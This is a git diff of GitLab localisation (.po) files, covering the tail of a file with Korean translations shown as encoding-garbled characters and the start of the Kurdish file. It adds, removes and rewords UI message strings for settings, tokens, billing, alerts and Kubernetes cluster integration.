msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr "ë‚´ 프로ì íŠ¸ (기본값)"
msgid "Your Projects' Activity"
msgstr "ë‚˜ì˜ í”„ë¡œì íŠ¸ 활ë™"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "ë‚´ 공개 ì´ë©”ì¼ì´ ë‚´ 공개 í”„ë¡œí•„ì— í‘œì‹œë©ë‹ˆë‹¤."
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "ë‚˜ì˜ í•  ì¼ ëª©ë¡"
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr "ë‚´ 프로ì íŠ¸"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr "ê°œì¸ í‚¤ë¥¼ ì½ì„ 수 없습니다. 암호가 맞습니까?"
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr "사용"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr "머지"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "머지 실패."
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr "Web IDEì—ì„œ 열기"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "파ì´í”„ë¼ì¸ 차단ë¨. ì´ ë¨¸ì§€ 리퀘스트(MR)ì˜ íŒŒì´í”„ë¼ì¸ì€ ìˆ˜ë™ ìž‘ì—…ì´ í•„ìš”í•©ë‹ˆë‹¤."
-
msgid "mrWidget|Plain diff"
msgstr "Plain diff"
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index ef1ec2a15fc..511341bbbea 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:43\n"
+"PO-Revision-Date: 2021-07-01 21:28\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
